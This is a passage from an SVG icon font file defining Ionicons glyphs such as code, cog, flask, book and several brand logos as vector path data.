d="M224 303c-13 0 -25 -2 -37 -7l-44 44c25 9 53 14 81 14c102 0 189 -63 224 -152c-15 -38 -39 -70 -70 -96l-59 59c5 12 7 24 7 37c0 56 -46 101 -102 101zM20 358l26 26l362 -358l-26 -26l-60 59l-9 9c-28 -11 -57 -18 -89 -18c-102 0 -189 63 -224 152
c16 40 42 75 76 101l-9 9zM133 247c-7 -14 -11 -29 -11 -45c0 -56 46 -101 102 -101c16 0 31 4 45 11l-32 31c-4 -1 -9 -1 -13 -1c-34 0 -61 26 -61 60c0 4 1 9 2 13zM221 262h3c34 0 61 -26 61 -60v-3z" />
    <glyph glyph-name="ion-md-code" unicode="&#xf2ce;" horiz-adv-x="448" 
d="M158 94l-30 -30l-128 128l128 128l30 -30l-98 -98zM290 94l98 98l-98 98l30 30l128 -128l-128 -128z" />
    <glyph glyph-name="ion-logo-foursquare" unicode="&#xf237;" horiz-adv-x="320" 
d="M281 416c35 0 45 -20 37 -57c-10 -49 -40 -202 -43 -213c-3 -13 -8 -34 -39 -34h-72c-3 0 -3 0 -6 -3c-2 -2 -115 -133 -115 -133c-9 -10 -23 -8 -28 -6s-15 8 -15 26v380s10 40 43 40h238zM275 146c3 11 33 164 43 213zM267 351c2 9 -5 16 -12 16h-191
c-9 0 -15 -8 -15 -15v-296c0 -1 1 -1 2 0c0 0 70 84 78 94s11 11 23 11h64c9 0 14 8 15 12s8 43 10 51s-6 16 -13 16h-82c-10 0 -18 8 -18 18v13c0 10 8 17 18 17h96s14 6 15 12z" />
    <glyph glyph-name="ion-logo-facebook" unicode="&#xf236;" horiz-adv-x="384" 
d="M363 384c12 0 21 -9 21 -21v-342c0 -12 -9 -21 -21 -21h-107v152h50l7 56h-57v36c0 17 5 28 29 28h35v52c-5 1 -28 2 -49 2c-44 0 -79 -27 -79 -77v-41h-46v-56h46v-152h-171c-12 0 -21 9 -21 21v342c0 12 9 21 21 21h342z" />
    <glyph glyph-name="ion-md-today" unicode="&#xf17d;" horiz-adv-x="384" 
d="M341 416c24 0 43 -19 43 -43v-362c0 -24 -19 -43 -43 -43h-298c-24 0 -43 19 -43 43v362c0 24 19 43 43 43h298zM337 11c2 0 4 2 4 4v354c0 2 -2 4 -4 4h-290c-2 0 -4 -2 -4 -4v-354c0 -2 2 -4 4 -4h290zM81 254c0 1 1 2 2 2h218c1 0 2 -1 2 -2v-204c0 -1 -1 -2 -2 -2
h-218c-1 0 -2 1 -2 2v204zM81 333c0 1 1 2 2 2h171c1 0 2 -1 2 -2v-34c0 -1 -1 -2 -2 -2h-171c-1 0 -2 1 -2 2v34z" />
    <glyph glyph-name="ion-ios-umbrella" unicode="&#xf25f;" 
d="M359 310c36 -43 56 -86 57 -144c0 -2 -1 -3 -2 -4s-2 -2 -4 -2h-2c-3 0 -4 1 -5 4c-3 10 -8 20 -16 26c-8 7 -17 10 -27 10s-18 -4 -26 -10s-13 -16 -16 -26c-1 -3 -3 -4 -6 -4h-5c-3 0 -4 1 -5 4c-3 10 -8 20 -16 26s-17 10 -27 10c-15 0 -29 -9 -37 -23v-147
c0 -25 -19 -46 -44 -46s-45 21 -45 46c0 8 5 14 13 14s14 -6 14 -14c0 -10 8 -18 18 -18s17 8 17 18v148c-8 14 -22 22 -37 22c-20 0 -36 -15 -42 -36c-1 -3 -3 -4 -6 -4h-5c-3 0 -4 1 -5 4c-3 10 -8 20 -16 26c-8 7 -17 10 -27 10s-19 -4 -27 -10s-13 -16 -16 -26
c-1 -3 -2 -4 -5 -4h-3c-3 0 -6 3 -6 6v2c0 58 20 102 56 144c35 41 81 66 132 71c2 10 10 17 20 17s18 -7 20 -17c50 -5 96 -31 131 -73z" />
    <glyph glyph-name="ion-md-flag" unicode="&#xf2ef;" horiz-adv-x="320" 
d="M300 365c8 1 15 2 20 3v-20v-188c-6 -1 -12 -2 -20 -3c-14 -2 -30 -4 -48 -4c-31 0 -59 6 -87 12c-27 6 -53 15 -80 15c-15 0 -27 -1 -37 -2v-178h-28h-20v171v53v141v3l4 3c2 1 22 13 81 13c29 0 57 -5 84 -11c26 -5 52 -12 81 -12c18 0 36 2 50 4z" />
    <glyph glyph-name="ion-logo-euro" unicode="&#xf235;" horiz-adv-x="320" 
d="M138 176h124l-7 -48h-117v-13c0 -44 15 -63 79 -63c26 0 56 3 93 9l10 -65c-38 -9 -71 -12 -106 -12c-115 0 -164 41 -164 117v27h-50v48h50v48h-50v48h50v11c0 76 49 117 164 117c35 0 68 -3 106 -12l-10 -65c-37 6 -67 9 -93 9c-64 0 -79 -22 -79 -58v-2h138l-7 -48
h-131v-48z" />
    <glyph glyph-name="ion-md-musical-notes" unicode="&#xf333;" horiz-adv-x="384" 
d="M96 384h288v-315c0 -41 -32 -69 -70 -69s-69 27 -69 65s31 65 69 65c9 0 19 -1 27 -4v122h-202v-179c0 -41 -32 -69 -70 -69s-69 27 -69 65s31 65 69 65c9 0 19 -1 27 -4v258zM341 288v53h-202v-53h202z" />
    <glyph glyph-name="ion-logo-javascript" unicode="&#xf23f;" horiz-adv-x="448" 
d="M176 360v0v-213c0 -97 -49 -131 -121 -131c-18 0 -40 3 -55 8l8 62c10 -4 24 -6 39 -6c31 0 49 15 49 68v212h80zM350 368v0c38 0 65 -7 85 -16l-19 -64c-13 7 -35 17 -67 17s-48 -16 -48 -33c0 -22 19 -31 62 -48c58 -22 85 -53 85 -102c0 -57 -42 -106 -133 -106
c-38 0 -72 10 -91 21l15 63v0c20 -11 49 -21 81 -21c34 0 52 15 52 38c0 21 -15 33 -55 47c-55 20 -93 52 -93 102c0 58 49 102 126 102z" />
    <glyph glyph-name="ion-md-paper" unicode="&#xf33f;" horiz-adv-x="448" 
d="M432 384c9 0 16 -7 16 -16v-286c0 -45 -37 -82 -82 -82h-280c-47 0 -86 38 -86 86v208c0 23 19 42 42 42h102v32c0 9 7 16 16 16h272zM144 304h-45c2 -6 3 -12 3 -19v-173h42v192zM127 49c9 9 15 19 17 31h-58c-9 0 -16 7 -16 16v189c0 11 -8 19 -19 19s-19 -8 -19 -19
v-199c0 -14 6 -28 16 -38s24 -16 38 -16c15 0 30 6 41 17zM416 82v269h-240v-15v-250c0 -21 -8 -39 -21 -54h211c13 0 25 5 35 15s15 22 15 35zM216 256v56h160v-56h-160zM216 192v32h160v-32h-160zM216 128v32h160v-32h-160zM376 96c0 -11 0 -32 -19 -32h-149
c8 0 8 32 8 32h160z" />
    <glyph glyph-name="ion-md-medkit" unicode="&#xf328;" 
d="M304 304h112v-264c0 -22 -18 -40 -40 -40h-336c-22 0 -40 18 -40 40v264h112v40c0 22 18 40 40 40h112c22 0 40 -18 40 -40v-40zM152 344v-40h112v40h-112zM288 120v48h-56v56h-48v-56h-56v-48h56v-56h48v56h56z" />
    <glyph glyph-name="ion-logo-twitter" unicode="&#xf2b0;" horiz-adv-x="472" 
d="M472 338c-13 -20 -29 -36 -48 -50v-12c0 -128 -98 -276 -276 -276c-55 0 -105 16 -148 44c8 -1 15 -2 23 -2c45 0 87 16 120 42c-42 1 -78 29 -90 67c6 -1 12 -2 18 -2c9 0 18 2 26 4c-44 9 -78 48 -78 95v1c13 -7 28 -12 44 -12c-26 17 -43 47 -43 81c0 18 5 34 13 48
c48 -59 119 -97 199 -101c-2 7 -2 14 -2 22c0 54 43 97 97 97c28 0 52 -12 70 -31c22 4 43 13 62 24c-7 -23 -23 -42 -43 -54c20 2 39 7 56 15z" />
    <glyph glyph-name="ion-ios-hourglass" unicode="&#xf103;" horiz-adv-x="348" 
d="M334 14c8 0 14 -5 14 -13s-6 -15 -14 -15h-320c-8 0 -14 7 -14 15s6 13 14 13h6c6 0 11 1 12 7v1c14 136 100 138 100 170s-85 34 -100 170v1c-1 6 -6 7 -12 7h-6c-8 0 -14 7 -14 15s6 13 14 13h320c8 0 14 -7 14 -15s-6 -13 -14 -13h-5c-6 0 -12 -1 -13 -7v-1
c-14 -136 -100 -138 -100 -170s85 -34 100 -170v-1c1 -6 7 -7 13 -7h5zM81 48c-3 -7 -1 -16 7 -16h172c8 0 10 9 7 16c-31 79 -80 71 -80 102v55c0 19 37 33 60 65c4 5 0 12 -6 12h-133c-6 0 -11 -7 -7 -12c23 -32 60 -46 60 -65v-55c0 -32 -51 -22 -80 -102z" />
    <glyph glyph-name="ion-md-trending-up" unicode="&#xf39a;" horiz-adv-x="448" 
d="M314 320h134v-134l-51 51l-141 -141l-90 90l-134 -135l-32 32l166 166l90 -90l109 110z" />
    <glyph glyph-name="ion-logo-nodejs" unicode="&#xf242;" horiz-adv-x="384" 
d="M192 -32c-6 0 -12 2 -17 5l-53 32c-8 5 -4 6 -1 7c11 4 14 5 25 12c1 1 3 1 4 0l39 -23c1 -1 4 -1 5 0l156 92c1 1 2 2 2 4v187c0 2 0 4 -2 5l-156 94c-1 1 -3 1 -4 0l-155 -94c-2 -1 -3 -3 -3 -5v-187c0 -2 0 -3 2 -4l40 -24c24 -12 38 1 38 15v183c0 3 2 5 5 5h22
c3 0 5 -2 5 -5v-183c0 -33 -19 -52 -49 -52c-9 0 -17 1 -37 11l-41 24c-10 6 -17 18 -17 30v190c0 12 7 24 17 30l158 95c10 6 24 6 34 0l158 -95c10 -6 17 -18 17 -30v-190c0 -12 -7 -24 -17 -30l-158 -94c-5 -3 -11 -5 -17 -5v0zM241 96c-65 0 -84 31 -84 59c0 3 1 5 4 5
h21c2 0 5 -2 5 -4c3 -22 16 -31 54 -31c33 0 47 11 47 29c0 11 -3 18 -55 23c-43 4 -71 15 -71 51c0 33 28 52 73 52c46 0 76 -14 79 -51c0 -1 -1 -2 -2 -3s-2 -2 -3 -2h-20c-2 0 -5 2 -5 4c-4 17 -16 23 -49 23c-36 0 -41 -12 -41 -22c0 -12 5 -16 54 -23s72 -16 72 -51
c0 -36 -29 -59 -79 -59v0v0z" />
    <glyph glyph-name="ion-ios-shuffle" unicode="&#xf4a9;" horiz-adv-x="384" 
d="M342 160l36 -36c4 -4 6 -9 6 -15s-2 -12 -6 -16l-34 -33c-3 -3 -6 -4 -10 -4s-7 1 -10 4s-4 6 -4 10s1 7 4 10l16 16h-84c-4 0 -8 2 -11 5v0l-53 67l-53 -67v0c-3 -3 -7 -5 -11 -5h-114c-8 0 -14 6 -14 14s6 14 14 14h107l53 66l-53 66h-107c-8 0 -14 6 -14 14
s6 14 14 14h114c4 0 8 -2 11 -5v0l124 -155h75l-16 16c-3 3 -4 6 -4 10s1 7 4 10s6 4 10 4s7 -1 10 -4zM215 213l-10 12c-2 2 -2 5 0 7l40 51v0c3 3 7 5 11 5h84l-16 16c-3 3 -4 6 -4 10s1 7 4 10s6 4 10 4s7 -1 10 -4l34 -34c4 -4 6 -9 6 -15s-2 -12 -6 -16l-36 -35
c-3 -3 -6 -4 -10 -4s-7 1 -10 4s-4 6 -4 10s1 7 4 10l16 16h-75l-38 -47c-1 -1 -3 -3 -5 -3v0c-2 0 -4 2 -5 3z" />
    <glyph glyph-name="ion-logo-steam" unicode="&#xf24c;" horiz-adv-x="512" 
d="M479 240c0 -20 -16 -36 -36 -36s-36 16 -36 36s16 36 36 36s36 -16 36 -36zM443 309c38 0 69 -31 69 -69s-31 -70 -69 -70l-67 -48c-2 -26 -24 -47 -51 -47c-25 0 -46 18 -51 41l-196 78c-8 -5 -16 -7 -26 -7c-28 0 -52 24 -52 52s24 52 52 52c25 0 45 -18 50 -41
l196 -79c8 5 17 8 27 8c2 0 3 -1 5 -1l43 62c0 38 32 69 70 69zM443 286c-26 0 -47 -20 -47 -46s21 -47 47 -47s46 21 46 47s-20 46 -46 46zM52 277c-21 0 -38 -17 -38 -38s17 -38 38 -38c3 0 5 0 8 1l-16 6v0c-15 7 -22 24 -16 39s24 23 39 17v0l19 -7c-6 12 -19 20 -34 20
zM325 165c-3 0 -6 -1 -9 -1l16 -6c16 -6 23 -24 17 -40s-23 -23 -39 -17c-6 3 -13 6 -19 8c6 -12 19 -20 34 -20c21 0 38 17 38 38s-17 38 -38 38z" />
    <glyph glyph-name="ion-md-beaker" unicode="&#xf297;" horiz-adv-x="384" 
d="M384 413c0 -1 -2 -3 -3 -5s-11 -15 -13 -33v-332v0v-11c0 -35 -29 -64 -64 -64h-208c-35 0 -64 29 -64 64v308c0 32 -2 32 -32 36c0 12 10 40 64 40h270h47c2 0 3 -2 3 -3zM290 16c17 0 30 14 30 32v320h-240v-325c3 -15 16 -27 32 -27h178zM118 288h164v-226
c0 -4 -4 -8 -8 -8h-148c-4 0 -8 4 -8 8v226z" />
    <glyph glyph-name="ion-md-arrow-dropleft" unicode="&#xf282;" horiz-adv-x="128" 
d="M128 320v-256l-128 128z" />
    <glyph glyph-name="ion-md-bed" unicode="&#xf160;" horiz-adv-x="384" 
d="M105 184c-29 0 -53 23 -53 51s24 51 53 51s52 -23 52 -51s-23 -51 -52 -51zM314 286c39 0 70 -30 70 -68v-154h-35v51h-314v-51h-35v256h35v-154h139v120h140z" />
    <glyph glyph-name="ion-md-cog" unicode="&#xf2cf;" horiz-adv-x="448" 
d="M448 160h-35c-2 -12 -5 -24 -9 -35l30 -17l-32 -56l-30 18c-8 -9 -17 -18 -26 -26l18 -30l-56 -32l-17 30c-11 -4 -23 -7 -35 -9v-35h-64v35c-12 2 -24 5 -35 9l-17 -30l-56 32l18 30c-9 8 -18 17 -26 26l-30 -18l-32 56l30 17c-4 11 -7 23 -9 35h-35v64h35
c2 12 5 24 9 35l-30 17l32 56l30 -18c8 9 17 18 26 26l-18 30l56 32l17 -30c11 4 23 7 35 9v35h64v-35c12 -2 24 -5 35 -9l17 30l56 -32l-18 -30c9 -8 18 -17 26 -26l30 18l32 -56l-30 -17c4 -11 7 -23 9 -35h35v-64zM224 224c-18 0 -32 -14 -32 -32s14 -32 32 -32
s32 14 32 32s-14 32 -32 32zM109 105l32 38c-8 14 -13 31 -13 49v1l-47 17c-1 -6 -1 -12 -1 -18c0 -33 11 -63 29 -87zM150 253c11 13 25 23 42 29v50c-37 -8 -69 -31 -89 -62zM224 48c24 0 46 6 66 16l-32 38c-10 -4 -22 -6 -34 -6s-24 2 -34 6l-32 -38
c20 -10 42 -16 66 -16zM256 282c17 -6 31 -16 42 -29l47 17c-20 31 -52 54 -89 62v-50zM339 105c18 24 29 54 29 87c0 6 0 12 -1 18l-47 -17v-1c0 -18 -5 -35 -13 -49z" />
    <glyph glyph-name="ion-md-flask" unicode="&#xf2f2;" horiz-adv-x="384" 
d="M373 94c8 -16 11 -32 11 -46c-1 -36 -27 -64 -63 -64h-256c-36 0 -64 28 -65 64c0 14 4 30 12 46l100 162v96h-32v48h224v-48h-32v-96zM91 144h203l-30 48h-143z" />
    <glyph glyph-name="ion-md-bonfire" unicode="&#xf29d;" 
d="M224 97l16 -89c1 -3 2 -5 2 -8c0 -18 -16 -32 -35 -32s-35 14 -35 32c0 2 1 5 1 7l17 93v0c2 7 9 12 17 12c9 0 16 -7 17 -15zM262 93v0v0zM356 58c10 -8 10 -25 0 -35s-29 -9 -37 0c-1 1 -3 2 -4 4l-53 66c-3 5 -2 11 2 15c5 5 12 5 18 1l69 -47c2 -1 3 -3 5 -4z
M334 113v0v0zM402 126c10 -1 14 -7 14 -19c0 -9 -10 -14 -19 -12l-63 18v0v0c-4 2 -6 5 -5 9s5 7 9 6zM82 113v0v0zM82 113h-1l-62 -18c-9 -2 -19 3 -19 12c0 12 3 18 13 19l65 2c4 1 8 -2 9 -6s-1 -7 -5 -9v0zM134 109c5 4 13 3 18 -1c4 -4 5 -10 2 -15l-53 -65
c-1 -2 -3 -4 -4 -5c-10 -10 -27 -10 -37 0s-10 25 0 35c2 2 3 3 5 4zM208 416c72 -22 108 -106 108 -179c0 -60 -48 -108 -108 -108s-108 48 -108 108c0 46 17 89 44 121l-1 -6c0 -28 21 -51 49 -51s46 23 46 51c0 29 -30 64 -30 64zM204 169c36 0 65 29 65 65
c0 19 -3 37 -8 54c-14 -18 -38 -29 -62 -34s-38 -20 -38 -42c0 -23 19 -43 43 -43z" />
    <glyph glyph-name="ion-md-git-merge" unicode="&#xf2fd;" horiz-adv-x="384" 
d="M320 224c35 0 64 -29 64 -64s-29 -64 -64 -64c-24 0 -44 13 -55 32c-22 0 -70 4 -109 27c-21 13 -41 30 -60 49v-117c19 -11 32 -31 32 -55c0 -35 -29 -64 -64 -64s-64 29 -64 64c0 24 13 44 32 55v210c-19 11 -32 31 -32 55c0 35 29 64 64 64s64 -29 64 -64
c0 -21 -10 -39 -26 -51c22 -37 55 -72 87 -91c23 -14 58 -18 76 -18c11 19 31 32 55 32zM24 352c0 -22 18 -40 40 -40s40 18 40 40s-18 40 -40 40s-40 -18 -40 -40zM104 32c0 22 -18 40 -40 40s-40 -18 -40 -40s18 -40 40 -40s40 18 40 40zM320 120c22 0 40 18 40 40
s-18 40 -40 40s-40 -18 -40 -40s18 -40 40 -40z" />
    <glyph glyph-name="ion-ios-funnel" unicode="&#xf182;" 
d="M0 361c0 13 9 23 21 23h374c12 0 21 -10 21 -23v0c0 -6 -2 -12 -6 -16l-152 -180c-4 -4 -5 -9 -5 -15v-134c0 -11 -10 -19 -20 -15l-55 20c-9 3 -15 12 -15 22v107c0 6 -1 11 -5 15l-152 180c-4 4 -6 10 -6 16v0z" />
    <glyph glyph-name="ion-md-close-circle-outline" unicode="&#xf166;" 
d="M208 358c-44 0 -86 -18 -117 -49s-49 -73 -49 -117s18 -86 49 -117s73 -49 117 -49s86 18 117 49s49 73 49 117s-18 86 -49 117s-73 49 -117 49zM208 400v0c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM312 117l-29 -29l-75 75l-75 -75
l-29 29l75 75l-75 75l29 29l75 -75l75 75l29 -29l-75 -75z" />
    <glyph glyph-name="ion-md-help-circle" unicode="&#xf30a;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM229 67v42h-42v-42h42zM229 130c0 46 62 52 62 104c0 46 -37 83 -83 83s-83 -37 -83 -83h41c0 22 19 42 42 42s42 -19 42 -42c0 -42 -63 -37 -63 -104h42z" />
    <glyph glyph-name="ion-md-book" unicode="&#xf29e;" 
d="M378 368c22 3 38 -17 38 -38v-244c0 -21 -16 -33 -38 -38l-170 -32l-170 32c-22 5 -38 17 -38 38v244c0 21 16 41 38 38l170 -32zM378 86v244l-151 -32v-244zM189 54v244l-151 32v-244z" />
    <glyph glyph-name="ion-ios-pricetags" unicode="&#xf48f;" horiz-adv-x="448" 
d="M371 416c15 0 28 -13 28 -28v-124c0 -4 -1 -7 -4 -10l-232 -232c-16 -14 -32 -9 -43 2l-112 113c-11 11 -11 28 0 39l235 236c3 3 6 4 10 4h118zM325 308c14 2 26 14 28 28c2 20 -14 36 -34 34c-14 -2 -25 -14 -27 -28c-2 -20 13 -36 33 -34zM424 368
c14 -2 24 -14 24 -28v-118c0 -4 -1 -7 -4 -10l-235 -236c-11 -11 -28 -11 -39 0l-9 9l259 259c3 3 4 6 4 10v114z" />
    <glyph glyph-name="ion-ios-move" unicode="&#xf1cb;" horiz-adv-x="448" 
d="M444 202c6 -5 6 -15 0 -20l-79 -79c-5 -5 -15 -5 -20 0v0c-5 5 -5 15 0 20l55 55h-162l1 -162l55 55c5 5 14 5 19 0v0c5 -5 5 -15 0 -20l-79 -79c-5 -5 -15 -5 -20 0l-79 79c-5 5 -5 15 0 20v0c5 5 15 5 20 0l55 -55v162h-162l55 -55c5 -5 5 -15 0 -20v0
c-5 -5 -15 -5 -20 0l-79 79c-5 5 -5 15 0 20l79 79c5 5 15 5 20 0v0c5 -5 5 -15 0 -20l-55 -55h162v162l-55 -55c-5 -5 -15 -5 -20 0v0c-5 5 -5 15 0 20l79 79c5 5 15 5 20 0l79 -79c5 -5 5 -15 0 -20v0c-5 -5 -14 -5 -19 0l-55 55l-1 -162h162l-55 55c-5 5 -5 15 0 20v0
c5 5 15 5 20 0z" />
    <glyph glyph-name="ion-ios-wallet" unicode="&#xf18b;" 
d="M356 288c33 0 60 -27 60 -60v-168c0 -33 -27 -60 -60 -60h-296c-33 0 -60 27 -60 60v168c0 33 27 60 60 60h296zM295 383c16 3 32 -2 43 -13v0c9 -9 14 -25 14 -38v-20h-287c-34 0 -49 -19 -49 -19c0 22 26 40 44 44z" />
    <glyph glyph-name="ion-ios-car" unicode="&#xf140;" 
d="M368 252c26 -22 48 -46 48 -85v-76c0 -4 -2 -7 -6 -8c-15 -3 -62 -10 -202 -10s-187 7 -202 10c-4 1 -6 4 -6 8v76c0 39 24 62 48 85c15 33 49 92 100 92h120c51 0 86 -61 100 -92zM142 320c-35 0 -62 -60 -62 -70h256c0 10 -22 70 -62 70h-132zM64 116c18 0 32 14 32 32
s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32zM280 148v0c0 9 -7 16 -16 16h-112c-9 0 -16 -7 -16 -16v0c0 -9 7 -16 16 -16h112c9 0 16 7 16 16zM352 116c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32zM112 64c0 -11 1 -24 -5 -24h-85s-6 12 -6 29
c0 0 48 -5 96 -5zM304 64c48 0 96 5 96 5c0 -16 2 -29 -5 -29h-86s-5 14 -5 24z" />
    <glyph glyph-name="ion-md-notifications-off" unicode="&#xf336;" horiz-adv-x="364" 
d="M182 -16c-23 0 -41 19 -41 42h82c0 -23 -18 -42 -41 -42zM57 341l295 -295v0l12 -12l-24 -24l-36 36h-298v21l41 41v115c0 23 6 44 16 63l-63 64l24 24l33 -33v0zM317 223v-94l-208 207c13 8 27 15 42 18v15c0 18 13 31 31 31s31 -13 31 -31v-15c59 -14 104 -67 104 -131
z" />
    <glyph glyph-name="ion-md-school" unicode="&#xf374;" horiz-adv-x="448" 
d="M82 167l142 -82l142 82v-85l-142 -82l-142 82v85zM224 384l224 -128v-171h-41v148l-183 -105l-224 128z" />
    <glyph glyph-name="ion-ios-color-filter" unicode="&#xf414;" horiz-adv-x="424" 
d="M398 199c17 -22 26 -49 26 -77c0 -34 -13 -65 -37 -89s-54 -37 -88 -37c-33 0 -64 12 -87 35c-24 -23 -54 -35 -87 -35s-64 13 -88 37s-37 55 -37 89c0 28 9 55 26 77c16 20 38 36 62 44c-1 6 -1 13 -1 19c0 34 12 65 36 89s55 37 89 37s65 -13 89 -37s36 -55 36 -89
c0 -6 0 -13 -1 -19c24 -8 46 -23 62 -44zM212 362c-55 0 -100 -44 -100 -100c0 -5 0 -9 1 -14h12c33 0 64 -12 87 -35c24 23 54 35 87 35h12c1 5 1 9 1 14c0 56 -45 100 -100 100zM212 161h6c-2 4 -4 7 -6 11c-2 -4 -4 -7 -6 -11h6zM165 30c11 5 22 11 31 20
c-14 21 -23 46 -23 72c0 6 1 13 2 19c-18 6 -35 16 -49 29s-25 30 -32 48c-19 -6 -36 -19 -48 -35c-14 -18 -21 -39 -21 -61c0 -56 45 -100 100 -100c14 0 27 2 40 8zM181 166c4 10 9 19 15 28c-9 9 -20 15 -31 20c-13 6 -26 9 -40 9h-5c11 -27 33 -48 61 -57zM212 72
c9 15 14 32 14 50c0 5 -1 9 -2 14h-12h-12c-1 -5 -1 -9 -1 -14c0 -18 4 -35 13 -50zM259 214c-11 -5 -22 -11 -31 -20c6 -9 11 -18 15 -28c28 9 50 30 61 57h-5c-14 0 -27 -3 -40 -9zM299 22c55 0 100 44 100 100c0 22 -7 43 -21 61c-12 16 -29 29 -48 35
c-7 -18 -18 -35 -32 -48s-31 -23 -49 -29c1 -6 2 -13 2 -19c0 -26 -9 -51 -23 -72c9 -9 20 -15 31 -20c13 -6 26 -8 40 -8z" />
    <glyph glyph-name="ion-md-magnet" unicode="&#xf320;" horiz-adv-x="352" 
d="M304 349c32 -33 48 -80 48 -135c0 -44 -1 -72 -13 -116s-33 -98 -37 -106s-9 -9 -14 -7s-48 18 -55 21s-11 10 -9 16s26 65 34 95s12 55 12 95c0 28 -10 53 -28 72c-18 18 -41 29 -66 29s-48 -11 -66 -29c-18 -19 -28 -44 -28 -72c0 -40 4 -59 12 -95c0 0 30 -86 34 -95
c3 -7 -1 -12 -9 -16s-49 -19 -55 -21c-8 -2 -12 1 -16 9c-13 28 -35 104 -35 104c-11 47 -13 72 -13 116c0 55 16 102 48 135s76 51 128 51s96 -18 128 -51zM93 28l-27 74l-22 -6c9 -34 19 -61 26 -77zM282 19c7 16 17 43 25 77l-22 6c-8 -29 -19 -57 -26 -74z" />
    <glyph glyph-name="ion-logo-snapchat" unicode="&#xf24b;" horiz-adv-x="480" 
d="M480 88c0 -2 0 -11 -6 -21c-5 -8 -16 -19 -38 -24c-6 -1 -11 -3 -15 -4c-2 -1 -5 -1 -7 -1v-1c-1 -7 -1 -13 -4 -18c-2 -5 -9 -12 -22 -12c-2 0 -6 0 -9 1c-2 0 -3 1 -5 1c-7 1 -15 2 -23 2c-10 0 -19 -2 -26 -6c-4 -3 -9 -7 -14 -10c-18 -13 -38 -27 -71 -27
s-53 14 -71 27c-5 3 -9 7 -14 10c-7 4 -15 6 -25 6c-8 0 -17 -1 -24 -2c-2 0 -3 -1 -5 -1c-3 -1 -7 -1 -9 -1c-13 0 -20 7 -22 12c-3 5 -3 11 -4 18v1c-2 0 -4 0 -6 1c-4 1 -10 3 -16 4c-22 5 -33 16 -38 24c-6 10 -6 18 -6 20v15l15 1c16 1 44 7 54 17c29 27 36 43 36 52
c0 1 0 2 -4 5c-5 3 -13 6 -20 8c-5 2 -10 3 -14 5c-9 4 -18 16 -17 29c1 15 14 27 30 27c4 0 8 0 12 -2c8 -3 13 -4 17 -5c-1 9 -2 19 -3 30c-5 38 5 74 29 102c25 29 64 45 105 45v0c41 0 80 -16 105 -45c24 -28 34 -63 29 -101c-1 -11 -2 -22 -3 -31c4 1 10 2 18 5
c4 1 8 2 12 2c16 0 29 -12 30 -27c1 -13 -9 -25 -18 -29c-4 -2 -9 -3 -14 -5c-7 -2 -14 -5 -19 -8c-4 -3 -5 -4 -5 -5c0 -16 20 -37 36 -52c11 -10 39 -16 54 -17l15 -1v-14zM192 320c-9 0 -16 -11 -16 -24s7 -24 16 -24s16 11 16 24s-7 24 -16 24zM296 242c3 3 3 9 0 12
s-9 3 -12 0c-12 -12 -28 -19 -44 -19c-17 0 -32 7 -44 19c-3 3 -9 3 -12 0s-3 -9 0 -12c15 -15 35 -23 56 -23s41 8 56 23zM288 272c9 0 16 11 16 24s-7 24 -16 24s-16 -11 -16 -24s7 -24 16 -24z" />
    <glyph glyph-name="ion-ios-eye" unicode="&#xf425;" horiz-adv-x="448" 
d="M224 336c96 0 168 -69 220 -133c5 -6 5 -15 0 -21c-51 -56 -124 -134 -220 -134c-98 0 -155 61 -220 133c-6 6 -6 16 0 22c76 83 140 133 220 133zM228 102c46 2 84 40 86 86c2 53 -41 96 -94 94c-46 -2 -84 -40 -86 -86c-2 -53 41 -96 94 -94zM224 239
c0 -26 21 -47 46 -47c6 0 12 2 18 4v-4c0 -37 -31 -67 -69 -64c-31 2 -57 28 -59 59c-3 38 27 69 64 69h3c-2 -5 -3 -11 -3 -17z" />
    <glyph glyph-name="ion-ios-nuclear" unicode="&#xf1d5;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM120 35c27 -15 56 -23 88 -23s62 8 89 23l-50 86c-1 2 0 4 2 5c20 13 34 36 35 61c0 2 2 3 4 3h100v2c0 48 -19 93 -53 127c-11 11 -23 20 -36 28l-51 -87c-1 -2 -3 -3 -5 -2
c-10 5 -23 8 -35 8c-13 0 -25 -2 -36 -8c-2 -1 -4 -1 -5 1l-51 88c-13 -8 -24 -17 -35 -28c-34 -34 -53 -79 -53 -127v-2h100c2 0 4 -1 4 -3c1 -25 15 -48 35 -61c2 -1 3 -3 2 -5zM152 192c0 31 25 56 56 56s56 -25 56 -56s-25 -56 -56 -56s-56 25 -56 56z" />
    <glyph glyph-name="ion-ios-journal" unicode="&#xf189;" horiz-adv-x="384" 
d="M28 416h228v-384h-208c-9 0 -17 -8 -16 -18c1 -8 8 -14 16 -14h320c9 0 16 -7 16 -16v0c0 -9 -7 -16 -16 -16h-340c-16 0 -28 12 -28 28v392c0 16 12 28 28 28zM368 32h-64v384h52c16 0 28 -12 28 -28v-340c0 -9 -7 -16 -16 -16z" />
    <glyph glyph-name="ion-ios-notifications-off" unicode="&#xf1d1;" horiz-adv-x="320" 
d="M160 -8c-31 0 -48 22 -48 53h96c0 -31 -17 -53 -48 -53zM59 393l227 -388c4 -7 2 -15 -5 -19c-2 -1 -5 -2 -7 -2c-5 0 -9 3 -12 7l-228 388c-4 7 -2 15 5 19c2 1 5 2 7 2v0h1v0c5 0 10 -3 12 -7zM200 64h-40h-140c-16 0 -26 19 -16 32c15 20 46 32 46 123
c0 33 5 59 13 79zM316 96c10 -13 0 -32 -16 -32h-30l-166 284c8 5 17 9 26 11c4 1 6 2 6 6v3c0 13 11 24 24 24s25 -11 25 -24v-3c0 -4 2 -5 6 -6c38 -9 79 -47 79 -140c0 -91 31 -103 46 -123z" />
    <glyph glyph-name="ion-md-card" unicode="&#xf2b3;" horiz-adv-x="448" 
d="M403 368c25 0 45 -20 45 -44v-264c0 -24 -20 -44 -45 -44h-358c-25 0 -45 20 -45 44v264c0 24 20 44 45 44h358zM403 60v132h-358v-132h358zM403 280v44h-358v-44h358z" />
    <glyph glyph-name="ion-logo-codepen" unicode="&#xf230;" horiz-adv-x="448" 
